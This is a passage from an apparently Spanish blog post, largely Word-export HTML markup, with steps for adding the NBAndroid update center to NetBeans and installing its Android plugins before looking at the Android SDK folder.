UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
a. Iremos en netbean al menú Tools, Plugins, tras cargarse la ventana le damos a la pestaña Settings<br /><br />b. Presionamos el botón Add<br /><br />c. En la siguiente ventana en el campo Name introducimos “NBAndroid” y marcar la casilla “check for updates automatically”<br /><br />d. Para terminar en el campo URL introducimos la url de la web de Project Kenai (atención en este punto por si ha cambiado la url del enlace o algo asi, ya que es el único punto donde es posible “cagarla”) : http://kenai.com/projects/nbandroid/downloads/download/updatecenter/updates.xml<br /><br />e. Tras estos pasos, ir a la pestaña Available Plugins, hay que buscar los plugins Android y Android Test Runner for NetBeans 7.0+, seleccionarlos marcando las casillas y presionar el botón Install<br /><br />f. Pulsamos Next, aceptamos los términos de la licencia y apretamos el botón Install, estos pasos descargaran el plugin a nuestro equipo, así que habrá que esperar a que termine la descarga. Cuando terminemos verermos un mensaje indicando que el plugin no es oficial y finalizaremos presionando Continue y despuespues el botón Finish. Para activarlo, nos movemos a la pestaña Installed, y podemos comprobar que efectivamente, ambos componentes se encuentran instalados y activados. <br /><br />g. Antes de pasar a crear el proyecto, accederemos a la ruta donde hemos instalado el SDK para ver que útiles hay instalados y para que nos sirve cada uno. Accedemos a la ruta en la que indicamos que se instalase y veremos lo siguiente:<br /><div class="MsoListParagraphCxSpLast" style="margin-left: 72.0pt; mso-add-space: auto;">
<br /></div>
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-UPh-O_o9GX4/UJRHfyNyzLI/AAAAAAAAALY/sWrYLudAYjE/s1600/img1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-UPh-O_o9GX4/UJRHfyNyzLI/AAAAAAAAALY/sWrYLudAYjE/s1600/img1.jpg" /></a></div>
<br />
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></span></div>
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
